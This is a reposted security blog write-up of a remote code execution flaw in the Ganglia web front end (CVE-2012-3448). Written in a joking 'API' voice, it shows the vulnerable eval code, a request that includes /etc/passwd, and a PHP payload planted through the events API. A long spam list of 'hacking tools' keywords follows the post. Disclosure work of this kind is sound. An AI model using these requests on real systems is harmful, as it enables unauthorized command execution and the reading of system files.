martes, 25 de agosto de 2020

Extending Your Ganglia Install With The Remote Code Execution API

Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -

$graph = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');


I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

function sanitize ( $string ) {
  return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}


According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.


This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call - 
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'


As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

Update: This issue has been assigned CVE-2012-3448
Related word

  1. Hacker Tools For Ios
  2. Hacking Tools Usb
  3. Hacking Tools For Games
  4. Best Hacking Tools 2019
  5. Pentest Tools Alternative
  6. Bluetooth Hacking Tools Kali
  7. Pentest Tools Nmap
  8. Github Hacking Tools
  9. What Is Hacking Tools
  10. Hack Rom Tools
  11. Pentest Box Tools Download
  12. Hack App
  13. Kik Hack Tools
  14. Hacker Tools Apk
  15. Hack Tools Download
  16. Pentest Tools For Ubuntu
  17. Pentest Tools Linux
  18. Hacker Tools For Ios
  19. Hacking App
  20. Pentest Tools Port Scanner
  21. Hacking Tools Usb
  22. Hacking Tools 2019
  23. Pentest Tools List
  24. Hacker Tools
  25. Hacking Tools For Windows Free Download
  26. Hacker Tools Apk Download
  27. Hacks And Tools
  28. Hacker Security Tools
  29. Hack App
  30. Hack Tools Pc
  31. How To Hack
  32. Pentest Tools Tcp Port Scanner
  33. Hacks And Tools
  34. How To Install Pentest Tools In Ubuntu
  35. Pentest Tools Open Source
  36. Pentest Tools Review
  37. Github Hacking Tools
  38. Pentest Tools Linux
  39. Hacker Search Tools
  40. Pentest Tools Open Source
  41. New Hacker Tools
  42. Pentest Tools List
  43. Pentest Tools Subdomain
  44. Hacking Tools Github
  45. Computer Hacker
  46. Hack Tools
  47. How To Hack
  48. Hacks And Tools
  49. Growth Hacker Tools
  50. Hacking Tools For Windows
  51. Nsa Hack Tools Download
  52. Hacking Tools For Windows 7
  53. Hacking Tools Pc
  54. Hackrf Tools
  55. Hacker Tools 2020
  56. Hacking Tools For Windows
  57. What Is Hacking Tools
  58. Termux Hacking Tools 2019
  59. Nsa Hacker Tools
  60. Hacking Tools Online
  61. Hacking App
  62. Hackrf Tools
  63. Easy Hack Tools
  64. Hacking Tools For Pc
  65. Android Hack Tools Github
  66. Hack App
  67. Beginner Hacker Tools
  68. Pentest Tools Kali Linux
  69. Wifi Hacker Tools For Windows
  70. Pentest Tools Android
  71. Easy Hack Tools
  72. Pentest Tools For Mac
  73. Pentest Tools Kali Linux
  74. Kik Hack Tools
  75. Hacking Tools For Mac
  76. Pentest Tools Kali Linux
  77. Hacker Search Tools
  78. Hacker Tools Online
  79. Hacking Tools Usb
  80. Pentest Tools Framework
  81. Beginner Hacker Tools
  82. Pentest Tools Port Scanner
  83. Termux Hacking Tools 2019
  84. Pentest Tools
  85. Pentest Tools Online
  86. Hacking Tools Pc
  87. Growth Hacker Tools
  88. Best Hacking Tools 2020
  89. Pentest Tools Download
  90. Hacking Tools For Games
  91. Hacking Tools
  92. Pentest Tools Download
  93. Hack Tool Apk No Root
  94. Pentest Box Tools Download
  95. Hacking Apps
  96. Hackrf Tools
  97. Hacker Tools Apk
  98. Hacker Tools Linux
  99. Black Hat Hacker Tools
  100. Hacking Tools Free Download
  101. Easy Hack Tools
  102. Hacking Tools Github
  103. Hacker Hardware Tools
  104. Hacking Tools Usb
  105. Hack Tools Download
  106. Hacker Tools Online
  107. Hacker Tools Github
  108. Pentest Tools Github
  109. Hacking Tools Name
  110. Install Pentest Tools Ubuntu
  111. Hacking Tools And Software
  112. Hack Apps
  113. Hacking Tools Software
  114. Best Hacking Tools 2020
  115. Computer Hacker
  116. Hacking Tools Download
  117. Pentest Tools Android
  118. Hacking Tools Mac
  119. Free Pentest Tools For Windows
  120. Hacker Tools Software
  121. Black Hat Hacker Tools
  122. Pentest Tools Online
  123. Hack Tools Mac
  124. Hacker Techniques Tools And Incident Handling
  125. Top Pentest Tools
  126. Hacker Tools Apk
  127. Hacking Tools For Beginners
  128. Hacking Tools For Beginners
  129. Hack Website Online Tool
  130. Hacking Tools Free Download
  131. New Hack Tools
  132. Hack App
  133. Hacker Tools Online
  134. Hacking Tools 2019
  135. Pentest Tools Linux
  136. Hacking Tools For Mac
  137. Hacking Tools Windows
  138. Hack Tools Download
  139. Hacker Tools For Ios
  140. Hacking Tools For Beginners
  141. Hacker Tools
  142. Nsa Hack Tools

No hay comentarios:

Publicar un comentario